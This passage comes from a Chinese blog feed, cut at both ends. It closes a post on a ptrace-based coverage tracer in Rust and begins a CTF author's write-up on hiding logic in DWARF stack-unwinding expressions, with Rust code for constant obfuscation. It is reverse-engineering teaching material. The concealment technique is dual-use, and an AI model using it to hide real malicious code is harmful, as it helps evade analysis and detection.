&lt;&#x2F;span&gt;&lt;span&gt;        ptrace::setregs(pid, reg)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 记录
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let Some&lt;&#x2F;span&gt;&lt;span&gt;(trigger_set) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; record_map.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;get_mut&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;module) {
&lt;&#x2F;span&gt;&lt;span&gt;            trigger_set.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;insert&lt;&#x2F;span&gt;&lt;span&gt;(offset);
&lt;&#x2F;span&gt;&lt;span&gt;        } &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; trigger_set &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;HashSet::new();
&lt;&#x2F;span&gt;&lt;span&gt;            trigger_set.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;insert&lt;&#x2F;span&gt;&lt;span&gt;(offset);
&lt;&#x2F;span&gt;&lt;span&gt;            record_map.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;insert&lt;&#x2F;span&gt;&lt;span&gt;(module.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;clone&lt;&#x2F;span&gt;&lt;span&gt;(), trigger_set);
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 让被调试程序继续运行
&lt;&#x2F;span&gt;&lt;span&gt;ptrace::cont(pid, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;None&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;完整代码参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ri-char&#x2F;trace_tool&#x2F;blob&#x2F;main&#x2F;src&#x2F;run.rs&quot;&gt;ri-char &#x2F;trace_tool&#x2F;src&#x2F;run.rs&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yun-xing-xiao-guo&quot;&gt;运行效果&lt;&#x2F;h2&gt;
&lt;p&gt;对于上图中的程序进行测试&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;fuzz1-zhui-zong-fu-gai-lu&#x2F;2023-03-24_21-04.png&quot; alt=&quot;2023-03-24_21-04&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ju-xian-xing&quot;&gt;局限性&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;待测试的二进制文件中不能有混淆&lt;&#x2F;li&gt;
&lt;li&gt;待测试的程序中不能有进程被调试（进程主动被调试是一种主要的反调试手段）&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>ISC-Nothing出题思路及WriteUp</title>
        <published>2022-07-15T00:00:00+00:00</published>
        <updated>2022-07-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/nothingchu-ti-si-lu-ji-wp/"/>
        <id>https://richar.top/nothingchu-ti-si-lu-ji-wp/</id>
        
        <content type="html" xml:base="https://richar.top/nothingchu-ti-si-lu-ji-wp/">&lt;h1 id=&quot;chu-ti-si-lu&quot;&gt;出题思路&lt;&#x2F;h1&gt;
&lt;p&gt;在看到&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bbs.pediy.com&#x2F;thread-271891.htm&quot;&gt;通过DWARF Expression将代码隐藏在栈展开过程中&lt;&#x2F;a&gt;这篇博客后，原本是想用DWRAF特性做一个VM的。但是DWRAF恢复状态时只能恢复寄存器，但是可以用的寄存器有比较少，因此用这仅有的几个寄存器做了半个虚拟机。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gong-ju-xuan-ze&quot;&gt;工具选择&lt;&#x2F;h2&gt;
&lt;p&gt;首先碰到的第一个问题就是怎样写DWRAF Expression比较方便。在经过一份搜寻后，发现一个比较好用的rust库&lt;code&gt;gimli&lt;&#x2F;code&gt;。但是他无法只生成DWRAF Expression，因此稍稍魔改了一下，添加了一个函数，这样方便得生成Expression了&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; exp&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;Expression::new();
&lt;&#x2F;span&gt;&lt;span&gt;exp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;op_reg&lt;&#x2F;span&gt;&lt;span&gt;(gimli::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;X86_64&lt;&#x2F;span&gt;&lt;span&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;R12&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;exp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;op&lt;&#x2F;span&gt;&lt;span&gt;(gimli::DW_OP_and);
&lt;&#x2F;span&gt;&lt;span&gt;exp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;op&lt;&#x2F;span&gt;&lt;span&gt;(gimli::DW_OP_gt);
&lt;&#x2F;span&gt;&lt;span&gt;exp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;op&lt;&#x2F;span&gt;&lt;span&gt;(gimli::DW_OP_swap);
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; cf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;CallFrameInstruction::ValExpression(gimli::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;X86_64&lt;&#x2F;span&gt;&lt;span&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;R14&lt;&#x2F;span&gt;&lt;span&gt;, exp);
&lt;&#x2F;span&gt;&lt;span&gt;cf.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;simple_write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;mut&lt;&#x2F;span&gt;&lt;span&gt; w,gimli::Encoding { address_size: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;, format: gimli::Format::Dwarf64, version: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5 &lt;&#x2F;span&gt;&lt;span&gt;}).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;tiao-jian-luo-ji&quot;&gt;条件逻辑&lt;&#x2F;h2&gt;
&lt;p&gt;在DWRAF Expression中没有条件转移的命令，那么意味着如果想要实现类似条件语句，就要转化成数学表达式，在该题中普遍运用了下面表达式&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#383838;color:#e6e1dc;&quot;&gt;&lt;code&gt;&lt;span&gt;( ((exp!=1)-1)&amp;amp;num1 ) | ( ((exp!=0)-1)&amp;amp;num2 )
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;来表示&lt;code&gt;exp?num1:num2&lt;&#x2F;code&gt;的逻辑。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chang-liang-hun-yao&quot;&gt;常量混淆&lt;&#x2F;h2&gt;
&lt;p&gt;如果这道题只有上面这些，那么就没什么难度了。因此加了一个简单的常量混淆，这样就必须要写自动化脚本来分析这段DWRAF Expression。构造常量混淆的代码如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;fn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;exp_constu&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;exp&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;mut&lt;&#x2F;span&gt;&lt;span&gt; Expression, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;rng&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;mut&lt;&#x2F;span&gt;&lt;span&gt; ThreadRng,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;num&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;depth&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span&gt;){
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; depth&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0 &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        exp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;op_constu&lt;&#x2F;span&gt;&lt;span&gt;(num);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; ty:&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;usize&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;rng.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;gen_range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;..&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;match&lt;&#x2F;span&gt;&lt;span&gt; ty{
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; xor_num:&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;rng.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;gen&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;exp_constu&lt;&#x2F;span&gt;&lt;span&gt;(exp, rng, xor_num, depth&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;exp_constu&lt;&#x2F;span&gt;&lt;span&gt;(exp, rng, xor_num&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span&gt;num, depth&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;            exp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;op&lt;&#x2F;span&gt;&lt;span&gt;(gimli::DW_OP_xor);
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; add_num:&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;rng.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;gen&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;exp_constu&lt;&#x2F;span&gt;&lt;span&gt;(exp, rng, add_num.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;wrapping_add&lt;&#x2F;span&gt;&lt;span&gt;(num), depth&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;exp_constu&lt;&#x2F;span&gt;&lt;span&gt;(exp, rng, add_num, depth&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;            exp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;op&lt;&#x2F;span&gt;&lt;span&gt;(gimli::DW_OP_minus);
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; add_num:&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;rng.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;gen&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;exp_constu&lt;&#x2F;span&gt;&lt;span&gt;(exp, rng, num.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;wrapping_sub&lt;&#x2F;span&gt;&lt;span&gt;(add_num), depth&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;exp_constu&lt;&#x2F;span&gt;&lt;span&gt;(exp, rng, add_num, depth&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;            exp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;op&lt;&#x2F;span&gt;&lt;span&gt;(gimli::DW_OP_plus);
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; num1:&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;rng.gen::&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;num;
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; num2:&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;rng.gen::&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;num;
&lt;&#x2F;span&gt;&lt;span&gt;            num2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;|=&lt;&#x2F;span&gt;&lt;span&gt;num&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;!&lt;&#x2F;span&gt;&lt;span&gt;(num1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span&gt;num2);
&lt;&#x2F;span&gt;&lt;span&gt;            assert_eq!(num1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span&gt;num2,num);
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;exp_constu&lt;&#x2F;span&gt;&lt;span&gt;(exp, rng, num1, depth&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;exp_constu&lt;&#x2F;span&gt;&lt;span&gt;(exp, rng, num2, depth&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;            exp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;op&lt;&#x2F;span&gt;&lt;span&gt;(gimli::DW_OP_or);
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; num1:&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;rng.gen::&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;!&lt;&#x2F;span&gt;&lt;span&gt;num;
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; num2:&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;rng.gen::&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;!&lt;&#x2F;span&gt;&lt;span&gt;num;
&lt;&#x2F;span&gt;&lt;span&gt;            num2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;|=!&lt;&#x2F;span&gt;&lt;span&gt;num&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;!&lt;&#x2F;span&gt;&lt;span&gt;(num1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span&gt;num2);
&lt;&#x2F;span&gt;&lt;span&gt;            assert_eq!(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!&lt;&#x2F;span&gt;&lt;span&gt;num1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;!&lt;&#x2F;span&gt;&lt;span&gt;num2,num);
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;exp_constu&lt;&#x2F;span&gt;&lt;span&gt;(exp, rng, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!&lt;&#x2F;span&gt;&lt;span&gt;num1, depth&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;exp_constu&lt;&#x2F;span&gt;&lt;span&gt;(exp, rng, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!&lt;&#x2F;span&gt;&lt;span&gt;num2, depth&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;            exp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;op&lt;&#x2F;span&gt;&lt;span&gt;(gimli::DW_OP_and);
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;exp_constu&lt;&#x2F;span&gt;&lt;span&gt;(exp, rng, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!&lt;&#x2F;span&gt;&lt;span&gt;num, depth&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;            exp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;op&lt;&#x2F;span&gt;&lt;span&gt;(gimli::DW_OP_not);
&lt;&#x2F;span&gt;&lt;span&gt;        }
